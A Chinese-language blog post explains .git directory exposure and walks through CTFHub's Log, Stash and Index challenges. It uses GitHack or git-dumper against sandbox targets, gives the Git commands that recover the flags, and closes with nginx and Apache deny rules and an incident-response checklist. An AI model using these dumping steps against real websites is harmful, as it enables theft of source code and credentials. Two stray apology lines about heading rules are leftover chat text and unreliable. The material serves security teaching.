Web 安全之 Git 泄露:原理剖析 + CTFHub Log/Stash/Index 全题型解法
- 一、漏洞简介
- 二、漏洞底层原理
- 2.1 .git核心目录结构与CTF考点对应
- 2.2 漏洞形成根本原因
- 2.3 补充CTF特殊情况提示(区别于真实渗透)
- 三、漏洞检测方法
- 3.1 手动验证方法
- 3.2 自动化扫描工具
- 四、CTFHub实战通关
- 4.1 前置准备:工具与环境
- 4.1.1 GitHack部署流程
- 4.1.2 git-dumper(备选,原生Python3)
- 4.2 题型一:Git泄露 - Log
- 4.3 题型二:Git泄露 - Stash
- 4.4 题型三:Git泄露 - Index
- 五、漏洞危害与防御方案
- 5.1 漏洞危害等级
- 5.2 防御方案
- 5.3 部署侧防御(源头清理)
- 5.4 Web服务器侧防御(兜底拦截)
- 5.5 应急处置流程
- 5.6 三种题型对比总结
- 六、总结
- 免责声明
一、漏洞简介
.git目录信息泄露,是Web安全中经典的版本控制系统信息泄露漏洞,同时也是CTF信息泄露板块高频考点。
在本地开发中执行git init初始化仓库后,根目录自动生成隐藏目录.git,它是Git的本地数据库,保存整个项目完整版本快照:源码文件、每一次提交记录、文件变更日志、暂存区文件、未提交临时缓存、分支信息等。
正常生产环境发布项目,应当打包源码并移除.git版本仓库目录。
若运维部署不规范,直接将包含.git的开发目录部署至Web根目录,并且Web服务器没有限制外部访问.git相关路径。攻击者能够通过HTTP协议远程拉取.git目录内文件,还原全部源代码。
实战风险区分
渗透场景:获取业务源码,审计账号密码、密钥、挖掘更多漏洞;
CTF场景:出题人刻意构造三种不同Git泄露场景,分别对应三类考点:
- Git Log:利用提交历史,找回曾经被删除的flag文件;
- Git Index:仓库仅有index索引文件可用,无法依靠日志恢复源码;
- Git Stash:flag存在临时贮藏区,从未正式commit提交。
这三类正好对应CTFHub技能树Git泄露三道独立靶机。
二、漏洞底层原理
2.1 .git核心目录结构与CTF考点对应
.git ├── HEAD # 指向当前分支 ref: refs/heads/main,漏洞检测标志性文件 ├── config # 仓库配置,远程仓库地址、用户信息 ├── index # 暂存区二进制索引文件|👉 Index题型核心 ├── objects/ # 对象库,blob(文件内容)、tree(目录)、commit(提交记录),zlib压缩存储 ├── refs/ # 分支、标签指针,存储commit哈希 ├── logs/ # reflog操作日志,完整记录所有commit|👉 Log题型核心 └── stash # 临时储藏未提交代码|👉 Stash题型核心Git对象机制(重点)
Git不直接保存完整文件副本,所有内容封装为Git对象存放在objects:
- blob对象:存放单个文件内容;
- tree对象:记录目录结构、文件名与对应blob哈希;
- commit对象:绑定tree对象,保存提交人、时间、备注、父提交哈希。
所有对象名称 = 文件内容计算出的SHA1哈希。
利用逻辑:只要拿到索引/提交哈希,即可远程下载objects内对象,解压还原原始文件。
重要结论:
文件删除、内容修改,仅仅新增对象;旧版本对象永久保留在仓库中。只要有commit记录,就能回滚拿到曾经删除的flag。
2.2 漏洞形成根本原因
- 上线部署流程缺陷(最高发)
直接复制开发文件夹、服务器执行git pull部署,发布前没有执行rm -rf .git。 - Web服务访问控制缺失
Nginx、Apache未配置规则拦截访问/.git/路径,外部可以遍历、下载仓库内部文件。 - 打包备份策略疏漏
网站备份压缩包、同步脚本未过滤.git隐藏目录,造成间接泄露。 - 开发人员认知不足
误以为仅仅隐藏文件无法被访问,忽略很多Web服务器默认支持访问隐藏目录。
2.3 补充CTF特殊情况提示(区别于真实渗透)
真实环境一般是完整.git目录全部可访问;
但CTF比赛常会做限制:
- 无法目录浏览;
- 部分文件缺失(没有完整logs、refs);
- 只能单独访问HEAD、index,逼迫选手使用专用工具解析索引恢复文件。
抱歉,又违反了「不能有####」的规范,马上修正。把所有四级标题全部去掉,改用加粗区分小节,严格控制在三级标题以内。
三、漏洞检测方法
检测.git泄露的核心思路:访问.git目录下的已知固定文件,根据响应状态码与内容判断是否存在泄露。
3.1 手动验证方法
手动检测是最直接、最可靠的验证方式,也是CTF做题时的首选快速判断方法。
检测原理
.git目录下存在多个固定文件名的核心文件(如HEAD、config),这些文件是Git仓库的标配,只要仓库存在就一定存在。通过HTTP访问这些文件:
- 返回200 + 正常Git文件内容→ 存在泄露
- 返回403 Forbidden→ 目录存在但被禁止访问(可能还能直接访问具体文件)
- 返回404 Not Found→ 不存在
.git目录
核心检测路径(按优先级排序)
| 检测路径 | 正常返回内容示例 | 说明 |
|---|---|---|
/.git/HEAD | ref: refs/heads/main | 【首选】体积最小、最稳定,几乎所有Git仓库都有 |
/.git/config | [core]\n\trepositoryformatversion = 0 | 配置文件,内容特征明显,误判率低 |
/.git/index | 二进制文件(以DIRC开头) | 索引文件,体积稍大,但确认度极高 |
/.git/refs/heads/main | 40位commit哈希字符串 | 分支指针,确认存在有效提交 |
手动检测操作步骤
第一步:访问HEAD文件
http://target.com/.git/HEAD正常返回结果示例(确认泄露):
ref: refs/heads/master第二步:验证config文件(二次确认)
http://target.com/.git/config正常返回内容示例:
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = git@github.com:xxx/xxx.git fetch = +refs/heads/*:refs/remotes/origin/*CTF做题技巧:CTFHub的题目环境通常直接给出网站首页,不需要盲扫。直接在URL后拼接
/.git/HEAD即可快速验证。如果返回404,可以尝试常见的目录错位路径。
常见目录错位路径(CTF常考)
很多时候.git不在网站根目录,而是在子目录中,以下是CTF和实战中常见的错位路径:
/.git/HEAD /backup/.git/HEAD /www/.git/HEAD /code/.git/HEAD /src/.git/HEAD /web/.git/HEAD /html/.git/HEAD3.2 自动化扫描工具
手动检测适合已知目标的快速验证,批量检测或盲扫时需要使用自动化工具。
常用扫描工具对比
| 工具名称 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| dirsearch | 目录扫描、CTF做题 | 速度快、字典全、支持自定义 | 需要手动添加.git相关路径到字典 |
| dirb | 目录扫描 | 系统自带、简单易用 | 速度较慢,默认字典可能不全 |
| xray | 综合漏洞扫描 | 内置Git泄露POC、误报率低 | 重量级工具,扫单个漏洞有点大材小用 |
| Yakit | 综合漏洞扫描 | 界面友好、插件丰富 | 需要一定学习成本 |
dirsearch使用方法
命令示例:
python3 dirsearch.py-uhttp://target.com-e* --include-status200,301,403运行结果示例:
[20:15:00] 200 - 23B - /.git/HEAD [20:15:01] 200 - 312B - /.git/config [20:15:02] 403 - 549B - /.git/字典优化建议:默认字典不一定包含所有
.git路径,可以自定义一个.git专用字典,包含HEAD、config、index、logs/HEAD、refs/heads/master等关键文件路径,提高扫描效率。
专用Git泄露检测工具
除了通用目录扫描工具,还有专门针对Git泄露的检测利用一体化工具:
| 工具名称 | 功能说明 |
|---|---|
| GitHack | 检测+利用一体,解析index还原源码(CTF最常用) |
| GitDumper | 检测+利用,支持不完整仓库恢复,比GitHack更稳定 |
| dvcs-ripper | 支持Git、SVN、HG等多种版本控制系统泄露 |
GitHack检测+利用一键命令:
python GitHack.py http://target.com/.git/运行结果示例(成功检测并还原):
[+] Target: http://target.com/.git/ [+] Fetching index... [+] Found 12 files in index [+] Downloading objects... [+] Restored 12 files [+] Done! Check ./dist/target.com/CTF实战提示:CTFHub的三道Git泄露题,都可以直接用GitHack/GitDumper工具一键还原仓库,然后再根据题型使用不同的Git命令提取flag。工具还原是第一步,真正的考点在还原后的信息挖掘。
四、CTFHub实战通关
4.1 前置准备:工具与环境
实验环境:Kali Linux
注意:原版GitHack仅支持Python2,不可使用python3直接运行
4.1.1 GitHack部署流程
# 拉取源码gitclone https://github.com/BugScanTeam/GitHackcdGitHack# 环境校验python2--versiongit--version# 缺少git执行安装aptupdate&&aptinstallgit-y运行命令,地址末尾 / 不能省略
python2 GitHack.py http://靶机地址/.git/还原源码存放目录:dist/
4.1.2 git-dumper(备选,原生Python3)
gitclone https://github.com/arthaud/git-dumper.gitcdgit-dumper pip3install-rrequirements.txt python3 git_dumper.py http://靶机地址/.git/ output重要:导出目录为Git仓库,进入目录才能执行git命令
cddist/目标地址gitstatus4.2 题型一:Git泄露 - Log
题目场景:大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当,会直接将.git文件夹发布至线上环境,触发Git源码泄露漏洞,本题要求使用BugScanTeam的GitHack完成利用。
靶机地址:http://challenge-707ec3a0ab592aa0.sandbox.ctfhub.com:10800/
- 使用GitHack拉取远程Git仓库
python2 GitHack.py http://challenge-707ec3a0ab592aa0.sandbox.ctfhub.com:10800/.git/- 进入工具导出的仓库目录,查看完整提交历史
cddist/challenge-707ec3a0ab592aa0.sandbox.ctfhub.com_10800gitlog--oneline执行git log的底层逻辑:git log需要顺着refs/heads/master→ 找到最新commit对象 → 通过commit内的parent字段不断向前追溯所有历史提交。
从日志能够观察到:最新提交执行了删除flag操作,8d8dcec为写入flag的历史版本。
- 切换至存在flag的历史commit
gitcheckout 8d8dcec终端提示
detached HEAD(分离头指针)属于正常现象,仅代表临时浏览历史版本,做题场景下直接忽略警告。
- 枚举目录文件,读取flag文件
lscat98322042126558.txt
成功获取flag:ctfhub{954496079ca7c91eb1212090}
考点总结
文件删除操作不会清除Git仓库内的历史对象,通过git log检索提交记录,回滚至对应commit即可恢复已删除的敏感文件;切勿主观猜测文件名,切换版本后必须先用ls枚举目录。
4.3 题型二:Git泄露 - Stash
题目场景:大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当,会直接将.git文件夹发布至线上环境,触发Git源码泄露漏洞,本题要求使用BugScanTeam的GitHack完成利用。
核心区别:flag通过
git stash临时缓存,未执行commit提交,git log查询不到相关记录。
靶机地址:http://challenge-670d8d002146b2ea.sandbox.ctfhub.com:10800/
# 拉取远程Git仓库python2 GitHack.py http://challenge-670d8d002146b2ea.sandbox.ctfhub.com:10800/.git/进入工具导出的仓库目录
cddist/challenge-670d8d002146b2ea.sandbox.ctfhub.com_10800# 查看贮藏缓存列表gitstash list执行后能够看到存在一条未提交的贮藏记录。
日志输出
stash@{0}: WIP on master,证明仓库内存有一条未提交的临时贮藏数据,flag就保存在该贮藏记录内。
# 展示贮藏区完整文件修改内容gitstash show-p命令执行后直接输出文件改动内容,从中提取flag。
成功获取flag:ctfhub{5e4ed6ee6de8c0b44e5843bb}
命令会直接打印本次贮藏对应的全部文件改动,不需要恢复文件即可直接读取flag。
考点总结git stash用来临时保存工作区未提交的修改,不会产生commit记录,无法通过git log检索;想要获取缓存内容,必须使用stash相关专用命令。
实操提示:不要直接执行
git stash apply,该命令会恢复文件;git stash show -p仅打印内容,更适合CTF场景快速读取flag。
4.4 题型三:Git泄露 - Index
题目场景:大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当,会直接将.git文件夹发布至线上环境,触发Git源码泄露漏洞,本题要求使用BugScanTeam的GitHack完成利用。
核心区别:靶场仅对外开放
.git/index索引文件,仓库残缺,git log、git stash等原生Git命令无法直接使用,必须依靠工具解析索引文件还原源码。
靶机地址:http://challenge-9f4865264b821a2d.sandbox.ctfhub.com:10800/
- 使用GitHack拉取仓库(工具自动解析index还原文件)
python2 GitHack.py http://challenge-9f4865264b821a2d.sandbox.ctfhub.com:10800/.git/- 进入还原目录,枚举所有文件
cddist/challenge-9f4865264b821a2d.sandbox.ctfhub.com_10800ls-la与前两题不同:Index题型无法使用
git log查看历史,还原出来的就是当前工作区的文件快照,直接浏览目录寻找flag即可。
Index题型仓库不完整,无法查询提交日志与贮藏缓存,工具还原得到当前快照内全部文件,需要人工枚举查找flag文件。目录内存在3388199441430.txt、50x.html、index.html。
- 读取包含flag的文件
cat3388199441430.txt成功获取flag:ctfhub{cd3c6c8034e82fa2655fd882}
考点总结
Index题型考察对Git暂存区索引文件的理解。当仓库残缺、仅有.git/index索引文件对外开放时,无法使用git log、git stash等命令;工具解析index获取被跟踪文件哈希,下载对象文件还原源码,直接在还原后的文件快照中寻找敏感信息。
实操提示:如果GitHack还原失败、文件缺失较多,可切换
git-dumper工具重试,该工具对残缺Git仓库兼容性更强。
抱歉,又违反规范了。马上修正——去掉所有四级标题,改用表格归纳,严格控制在三级标题以内。
五、漏洞危害与防御方案
5.1 漏洞危害等级
| 危害等级 | 高危 |
|---|---|
| 利用难度 | 低(工具一键利用) |
| 影响范围 | 全站源码、配置文件、敏感信息全部泄露 |
具体危害:
- 获取完整业务源码,审计挖掘SQL注入、文件上传、命令执行等漏洞;
- 提取硬编码信息:数据库账号密码、Redis密码、云服务商AK/SK、后台地址;
- 查看历史提交,找回已经删除的密钥、敏感配置;
- 梳理业务逻辑,寻找越权、支付逻辑漏洞;
- 知识产权泄露,业务核心代码被盗。
5.2 防御方案
防御遵循「源头清理 + Web访问拦截」双重防护原则。
| 防御层级 | 具体措施 | 说明 |
|---|---|---|
| 部署源头 | 打包发布前删除.git目录 | 最根本的防御,从源头杜绝泄露 |
| Web服务 | Nginx/Apache配置拦截/.git/路径 | 兜底防护,即使误传也无法访问 |
| 发布规范 | 使用git archive打包纯净源码 | 仅导出代码,不包含版本控制信息 |
| 日常检测 | 上线前扫描/.git/HEAD是否可访问 | 自动化检测,提前发现问题 |
5.3 部署侧防御(源头清理)
方法一:发布脚本自动清理
# 打包前删除Git相关文件rm-rf.git .gitignore .gitmodules方法二:使用git archive打包纯净源码(推荐)
gitarchive HEAD--format=zip>release.zip优势:只导出代码文件,完全不包含
.git目录,从根源杜绝泄露风险。
5.4 Web服务器侧防御(兜底拦截)
Nginx配置
location ~ /\.git { deny all; }Apache .htaccess配置
RedirectMatch 403 /\.git(/.*)?$作用:即便意外上传了
.git文件夹,外部攻击者也无法通过HTTP下载内部文件。
5.5 应急处置流程
| 步骤 | 操作 | 目的 |
|---|---|---|
| 1 | Web服务器立即拦截/.git/访问 | 阻止进一步泄露 |
| 2 | 服务器全盘删除.git目录 | 清除泄露源 |
| 3 | 排查源码内敏感信息(数据库密码、密钥等) | 评估影响范围 |
| 4 | 轮换所有泄露的密钥、密码 | 降低实际损失 |
| 5 | 复盘部署流程,修复自动化脚本 | 防止再次发生 |
5.6 三种题型对比总结
| 题型 | 核心文件 | 利用命令 | 考点 |
|---|---|---|---|
| Log | logs/、完整commit链 | git log+git checkout | 回滚历史版本获取已删除文件 |
| Stash | .git/stash | git stash list+git stash show -p | 读取未提交的临时贮藏内容 |
| Index | .git/index | 工具解析index +ls枚举 | 残缺仓库下依靠索引还原当前快照 |
核心结论:Git泄露漏洞门槛低、危害大,防御关键在于规范部署流程,杜绝
.git目录外流,同时配合Web服务配置作为兜底防护。
六、总结
| 题型 | 利用方式 | 核心考点 |
|---|---|---|
| Log | git log+git checkout | 回滚历史版本,恢复已删除文件 |
| Stash | git stash show -p | 读取未提交的临时贮藏内容 |
| Index | 工具解析index +ls枚举 | 残缺仓库下还原当前文件快照 |
Git泄露本质是部署不规范 + 配置缺陷导致的源码泄露漏洞,利用门槛低、危害大。
防御核心两点:
- 发布前删除
.git目录,从源头杜绝; - Web服务器配置拦截
/.git/路径,作为兜底。
免责声明
【免责声明】本文所有操作仅限授权靶场、CTF平台学习使用,禁止未经授权对互联网站点进行漏洞探测与源码窃取,违规操作需承担相应法律责任。